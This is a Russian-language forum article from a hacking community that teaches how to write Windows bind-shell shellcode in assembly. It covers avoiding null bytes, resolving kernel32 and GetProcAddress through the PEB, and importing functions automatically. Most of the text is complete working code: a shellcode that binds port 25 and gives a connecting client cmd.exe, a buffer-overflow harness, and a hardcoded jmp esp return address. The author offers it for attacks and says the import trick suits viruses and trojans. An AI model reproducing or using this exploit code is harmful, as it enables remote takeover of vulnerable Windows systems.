• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Написание ShellCoda`a

hidden

floppy-диск
Пользователь
Регистрация
30.08.2006
Сообщения
6
Реакции
0
Написание ShellCoda’a

В данной статье будет оговорены такие аспекты как:
- Оптимизация кода
- Программирование без нулевого байта
- Нахождение рукоятки(Handle) kernel’а
- Нахождение таблицы импорта kernel’а с последующим получением из неё функции GetProcAddress
- Алгоритм автоматического импортирования остальных функций
- Прослушивание порта
- Запуск и последующее сцепление интерпретатора команд с подключившемся клиентом

[ Теория ]

Оптимизация:
Нам ведь нужно, чтоб наш код занимал как можно меньше места и выполнялся как можно быстрее, тогда нам нужно освоить методы оптимизации. Например если мы уверены, что в регистре осталось значение, то нет никакого смысла заносить его туда снова, также если оставшиеся значение ненамного отличается от требуемого, можно просто воспользоваться инструкцией для его модификация, если конечно эта инструкция выполняется быстрее, инструкция занесения туда этого числа или занимает меньше байт.
Примеры:
Код:
33 C0	xor eax, eax
тоже что и
B8 00000000 mov eax, 0
---
33 C0 xor eax, eax
8D48 05 lea ecx, [eax+5]
тоже что и
B8 00000000 mov eax, 0
B8 05000000 mov eax, 0
Но в 2 раза короче
---
C1E8 02 shr eax, 2; сдвиг на два бита в право(r) эквивалентно делению на (максимальное значение которое можно поместить в 2 бита + 1) т.е. 4
тоже что и
BB 04000000 mov ebx, 4
BA 00000000 mov edx, 0
F7FB idiv ebx
но при этом во втором варианте затрагиваются другие регистры, что не всегда приемлемо.
shl – сдвиг в другую сторону, т.е. можно использовать для целочисленного деления на числа (2,4,8,16,32,64,128,256,512,1024,...)
---
09C0 or eax, eax
74 15 jz @f
Тоже что
83F8 00 cmp eax, 0
74 15 je @f
---
AD Lodsd
тоже что и
8B 06 mov eax, [esi]
83C6 04 add esi, 4
---
Умножение на 3 например, можно осуществить так
8D0440 lea eax, [eax*3]
при этом оно скомпилируется как
8D0440 lea eax, [eax+eax*2]
---
Ну и циклическое копирование блока фиксированной длины оптимальнее выполнять так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
rep movsb
или если длина кратная четырём то так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
shr ecx, 2
rep movsd
но не так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
@@:
lodsb
stosb
inc esi
inc edi
loop @b
и тем более не так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
@@:
mov al, [esi]
mov [edi], al
inc esi
inc edi
dec ecx
cmp ecx, 0
jnz @b
Нулевой байт:
В большинстве случаев где используется шэлкод нет возможности вставлять нулевые символы, а возможно даже переходы строк, так что будем заменять все инструкции, содержащие токовые на другие группы инструкций имеющие эквивалентное действие. В этом нам поможет дизассемблер или отладчик, очень удобно запустить OllyDbg, нажимать пробел на одном и том же месте, вписывать инструкцию и сразу же смотреть её опкоды, так же хорошо это помогает и при оптимизации, например компилишь and eax, 0x0F получается 3 байта, а and eax, 0xFF пять.

Относительные адреса:
Также нужно заменять все инструкции имеющие абсолютные(absolute) адреса, на адреса относительно(relative) некоторых регистров, т.к. мы не знаем прямых адресов, не знаем в какой уголок памяти нас закинула винда(а учится то, что обещают мелкомягкие в винде виста, то к этому нужно привыкать), так что будем выкручиваться. Например чтоб получить свой текущий адрес можно воспользоваться вот такой комбинацией
Код:
E8 00000000 call near @f
@@: 5D pop ebp
Правдо она содержит нулевые байты, но это можно обойти так
Код:
EB 02 jmp .lb2
.lb1: EB 05 jmp .lb3
.lb2: E8 F9FFFFFF call near .lb1
.lb3: 5D pop ebp

Код:
Далее я буду последовательно приводить фрагменты кода и за каждым из них, будет следовать описание. Все коды написаны для flat assembler’a

Код:
format PE GUI 4.0
entry Start

include 'win32a.inc'

proc Start
        sub     esp, 512
        mov     edi, esp
        mov     esi, Begin
 @@:    lodsb
        stosb
        cmp     al, 0
        jnz     @b
        add     esp, 512
        ret
endp

Begin   file 'shellcode.bin'
Для опрощения написания и отладки шэлкода, я написал такую программку, которая эмулирует переполнение буфера длиной 512 байт, вписывая туда заранее скомпилированный шэлкод, останавливаясь при этом при нахождении первого нулевого байта.
Код:
include 'win32a.inc'
buffer_len = 512 
use32
Инициализация всех нужных нам структур, указание компилятору, что дальше идёт 32х битный машинный код, а также указываем длину переполняемого буфера.
Код:
; Here is begin of shellcode
Begin:

  LoadLibraryA          db 'LoadLibraryA',0xFF    ; We cen't end text lines
  tx_cmd                db 'cmd.exe',0xFF         ; by symbol 0, so we chenged
                                                  ; it to symbol 0xFF
  importex              db 'kernel32',0xFF
  CreateProcessA        db 'CreateProcessA',0xFF
  VirtualAlloc          db 'VirtualAlloc',0xFF
  CloseHandle           db 'CloseHandle',0xFF,0xFF
                        db 'Ws2_32',0xFF
  WSAStartup            db 'WSAStartup',0xFF
  WSASocketA            db 'WSASocketA',0xFF
  bind                  db 'bind',0xFF
  listen                db 'listen',0xFF
  accept                db 'accept',0xFF,0xFF,0xFF
Вот оно, начало шэлкода, несмотря на это первая инструкция куда попадёт управление, находится в конце, а сюда управление не попадёт никогда. В этой часте кода, содержатся строки, которые в последствии будут использованы, как вы уже заметили заканчиваются они не символом с кодом 0 а символом с кодом 0xFF(255) по известным причинам. Почему 0xFF?, да потому, что его очень просто переделать в 0, 0 это not 0xFF.
Код:
ecode:
        mb_al   = buffer_len and 0xff
        mb_ah   = buffer_len shr 8
        xor     eax, eax
        if      mb_al > 0 & mb_ah > 0
          mov   ax, buffer_len
        else if mb_al > 0 & mb_ah = 0
          mov   ah, mb_al
        else if mb_al = 0 & mb_ah > 0
          mov   ah, mb_ah
        end if        mov     ebp, esp
        add     ebp, ecode - Begin
Тут определяется наше местоположение, точнее местоположение ecode: и заносится в регистр ebp, относительно него мы и будем обратятся к переменным и текстовым строкам. Также тут реализовано смещение указателя на стек(esp) за приделы нашего кода, чтоб при занесении значений в стек, они его не затерали. Макроинструкции if контролируют невнесение нулей в код, при изменении длины переполняемого буфера.
Код:
; Getting kernel addr
        xor     eax, eax
        mov     eax, [fs:eax+30h]
        test    eax, eax
        js      ngk
        mov     eax, [eax+0Ch]
        mov     esi, [eax+1Ch]
        lodsd
        mov     edx, [eax+8]
        jmp     egk
ngk:    mov     eax, [eax+34h]
        add     eax, 7Ch
        mov     edx, [eax+3Ch]
egk:
Тут мы получаем из регистра fs адрес области памяти, в которую загрузился кернел, этот адрес также известный как Handle, а точнее там содержатся все параметры и структуры загруженного модуля. К сожалению до изучения интересной(насколько я о ней наслишен) структуры содержащийся в по адресу из этого регистра, я ещё не добрался, так что я просто взял готовый кусочек кода и модифицировал его под свои нужду, как только появится время + настроение обязательно это сделаю.
Код:
; Locating export table
        mov     ebx, [edx+60]
        mov     ebx, [edx+ebx+120]
Первая строка находит смешение PE структуры, содержащий параметры и смещения 32х битного запускаемого модуля, а вторая считывает от туда смещение таблицы экспорта и заносит его в ebx.
Код:
; Looking for LoadLibraryA
;        mov     esi, [edx+ebx+0x20]; Names
;        add     esi, edx
;@@:     lodsd
;        add     eax, edx
;        cmp     dword[eax], 'Load'  ; We can find this function
;        jne     @b                  ; by using GetProcAddress
;       ;cmp     dword[eax+4], 'Libr'; because already have handle
;       ;jne     @b                  ; of kernel
;        cmp     dword[eax+8], 'aryA'
;        jne     @b
;        cmp     byte[eax+12], 1
;        jnb     @b
;        sub     esi, [edx+ebx+0x20]
;        add     esi, [edx+ebx+0x1C]
;        mov     esi, [esi-4]
;        add     esi, edx
;        push    esi
; Looking for GetProcAddress
        mov     esi, [edx+ebx+0x20]; Names
        add     esi, edx
@@:     lodsd
        add     eax, edx
        cmp     dword[eax], 'GetP'
        jne     @b
       ;cmp     dword[eax+4], 'rocA'; It's only to control what
       ;jne     @b                  ; this is a right function,
       ;cmp     dword[eax+8], 'ddre'; but kernel doesn't contain
       ;jne     @b                  ; any simular functions
        cmp     word[eax+12], 'ss'
        jne     @b
        cmp     byte[eax+14], 1
        jnb     @b
        sub     esi, [edx+ebx+0x20]
        add     esi, [edx+ebx+0x1C]; - Addreses
        mov     esi, [esi-4]
        add     esi, edx
       ;push    esi
Владея этой информацией мы можем найти любую функцию кернола, например LoadLibreryA и GetProcAddress, а дальше загрузить любую другую библиотеку, и помощью этих функций получить из них любую функцию, но как я уже говорил, полученная область памяти и есть Handle, он же и есть то значение которое возвращается функцией LoadLibreryA. Также я закоментил четыре инструкции, проверяющие верная ли это функция, так как кекнол не содержит подобной инструкции, попадающей под остальные проверки, а значит нет смысла сомневаться, что это правильная функция, кстати этим мы экономим 18 байт кода.
Код:
; Restoring strings zero bytes
        lea     edi, [ebp+Begin-ecode]
        xor     eax, eax
        lea     ecx, [eax+ecode-Begin]
        dec     eax
z_lp:   repne   scasb
        jnz     z_en
        not     byte[edi-1]
        inc     ecx
        loop    z_lp
z_en:
Находим в строках байты 0xFF и инвертируем их, в результате чего получаем на их месте байты 0.
Код:
; Getting LoadLibreryA
        push    esp edx
        call    esi
        push    eax esi
Получаем функцию LoadLibreryA, с помощью функции GetProcAddress, содержащийся в регистре esi, с последующим сохранением их в стеке, для импортирования остальных функций.
Код:
; Importing functions
        lea     edi, [ebp+importex-ecode]
        jmp     i_ll
i_nl:   stosb
i_ll:   stdcall dword[esp+8], edi
        mov     esi, eax
i_nc:   xor     eax, eax
        lea     ecx, [eax-1]
        repne   scasb
        cmp     [edi], ax
        jz      i_el
        cmp     [edi], al
        jz      i_nl
        stdcall dword[esp+8], esi, edi
        stosd
        jmp     i_nc
        db      'B'; To block "\n"
А вот он и алгоритм, автоматического импортирования функций, его также очень удобно применять в Вирусах, Троянах или просто в зашифрованных программах, для скрытия списка импортируемых функций. Использовать его очень просто, в передаваемую в edi структуру, заносится имя библиотеки, дальше следует два три нулевых байта если это конец структуры, два байта если нужно загрузить следующею библиотеку или один если нужно импортировать из неё функции, которых разделены между собой одним нулевым байтом, а если находятся два или 3 байта, то их значение соответствует приведенным выше. Адреса полученных функций заносятся в первые четыре байта имени функции, так что использование функций имена которых короче 3х символов, недопустимо!
Код:
; Begin of ShellCode
i_el:   xor     esi, esi
        mov     eax, esi
        mov     ax, 0x222
        mov     ebx, esi
        mov     bh, (MEM_COMMIT shr 8)
        stdcall dword[VirtualAlloc+ebp-ecode], esi, eax, ebx, PAGE_READWRITE
Тут выделяем 546 байт памяти для хранения структур, нелюбою хранить переменные в стеке, лишний шанс переполнения, не я ошибусь, так мелкомягкие, какую нибудь калечную функцию напишут, типа lstrcpy, в МСДН’е так и написано, Security Alert. Ладно чёта я отвлёкся, продолжим.
Код:
        mov     edi, eax
        mov     eax, esi
        mov     ax, 0x202
        stdcall dword[WSAStartup+ebp-ecode], eax, edi
Ну тут понятно, инициализируем WSA(Windows Sockets support) передаём ему адрес памяти, полученный предыдущим кодом, а со структурой пусть разберется сам, она примерно 520 байт, остальное меня не интересует.
Код:
        stdcall dword[WSASocketA-ecode+ebp], 2, 1, esi, esi, esi, esi
        mov     [ebp+4], eax ; IdSocket
Создаём сокет и заносим его идентификатор во второе двойное слово нашего кода, да, да мы можем затирать начало кода, т.к. управление больше никогда туда не вернётся, а значит там очень удобно хранить переменные фиксированной длины, тем более что ebp у нас указывает прямо туда. Кстате, по непонятным для меня причинам инструкция mov [ebp], eax компилируется как mov [ebp+0], eax зато mov [esi], eax например компилируется нормально, а так как 0 нам тут совсем не к месту то подставим туда 4.
Код:
        mov     [ebp+4], eax ; IdSocket
        mov     eax, esi
        mov     ah, 25
        mov     [edi+sockaddr_in.sin_port], ax; sin_port
        lea     eax, [esi+2]
        mov     [edi+sockaddr_in.sin_family], ax
        mov     [edi+sockaddr_in.sin_addr], esi
        stdcall dword[bind-ecode+ebp], [ebp+4], edi, sizeof.sockaddr_in
        stdcall dword[listen-ecode+ebp], [ebp+4], 5
Тут мы заполняем структуру sockaddr_in в edi для слушанья 25го порта, биндим и начинаем прослушку. Номер порта заносится во вторую половину регистра ax, те в ah.
Код:
        mov     eax, edi
        lea     ecx, [esi+0x20]
        rep     stosd
        mov     edi, eax
        lea     eax, [esi+sizeof.STARTUPINFO]
        mov     [edi], eax; +STARTUPINFO.cb = +0
        mov     dword[edi+STARTUPINFO.wShowWindow], esi; SW_SPOILER = word 0, cbReserved2 = word 0
        mov     eax, esi
        inc     al; eax = 000000(01)
        inc     ah; eax = 0000(01)01
        mov     [edi+STARTUPINFO.dwFlags], eax; STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES = 0x101
Заполняем нулями 32к байт, т.е. будущую структуру STARTUPINFO, а также заполняем необходимые поля т.к. длина и флаги(не показывать окно и использовать пользовательские рукоятки).
Код:
.loop:  stdcall dword[accept-ecode+ebp], [ebp+4], esi, esi
        mov     [edi+STARTUPINFO.hStdInput], eax
        mov     [edi+STARTUPINFO.hStdOutput], eax
        mov     [edi+STARTUPINFO.hStdError], eax
        lea     ebx, [tx_cmd-ecode+ebp]
        lea     edx, [edi+sizeof.STARTUPINFO]; ProcessInfo is next to STARTUPINFO
        stdcall dword[CreateProcessA-ecode+ebp], esi, ebx, esi, esi, -1, esi, esi, esi, edi, edx
        stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO]
        stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO+4]
        stdcall dword[CloseHandle-ecode+ebp], [edi+STARTUPINFO.hStdInput]
        jmp     .loop
Здесь мы передаём идентификатор сокета, подключившегося клиента запускаемой программе как рукоятки стандартного ввода и вывода, а также вывода ошибок. Также тут мы попадаем в бесконечный цикл, из которого этот тред не выйдет никогда, а куда нам его выпускать то, мы ведь затёрли адрес возврата, хотя если кому-то надо, не сложно модифицировать этот код например для создания дополнительного треда, а потом как-нибудь рассчитать адрес возврата, поместить этот цикл в тред, а управление передать на этот адрес, так что дерзайте, можно также использовать какую-нибудь некорректную инструкцию, например деление на ноль, тогда управление передастся на ближайший интерпретатор ошибок и если программа отлаживает(что-то вроде try, except) ошибки такого рода, то управление попадёт куда надо.
Код:
        db      buffer_len - ($ - Begin) dup('A')
        dd      0x7C941EED
        call    ecode
        db      0
; Here is end of shellcode
Ну и заключительная деталь, выравниваем(заполняем оставшееся место символоми A), код до длины переполняемого буфера, в данном случае это 512 байт. Шэлкод занимает почти все 512, так что с переполнением буфера меньший длины придётся повозится дольше, тогда шэлкод нужно будет разместить по обоим сторонам затираемого адреса, что немного сложнее, а вот для буферов большей длины нужно просто указать её значение в первом фрагменте кода. Кстати объясню насчёт dd 0x7C941EED - это адрес инструкции jmp esp в библиотеке ntdll(за идею спасибо KEZ’У, чаще бы такие идеи), я сомневаюсь что в другом билде он изменится, но всё-же, если это произойдёт его нужно будет поправить, ну или найти такую же инструкцию, например в атакуемой программе.

Надеюсь эти 17Кб текста, кому-нибудь помогут, в атаках на кривые коды на скорую руку.

С вами был hidden, удачи...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх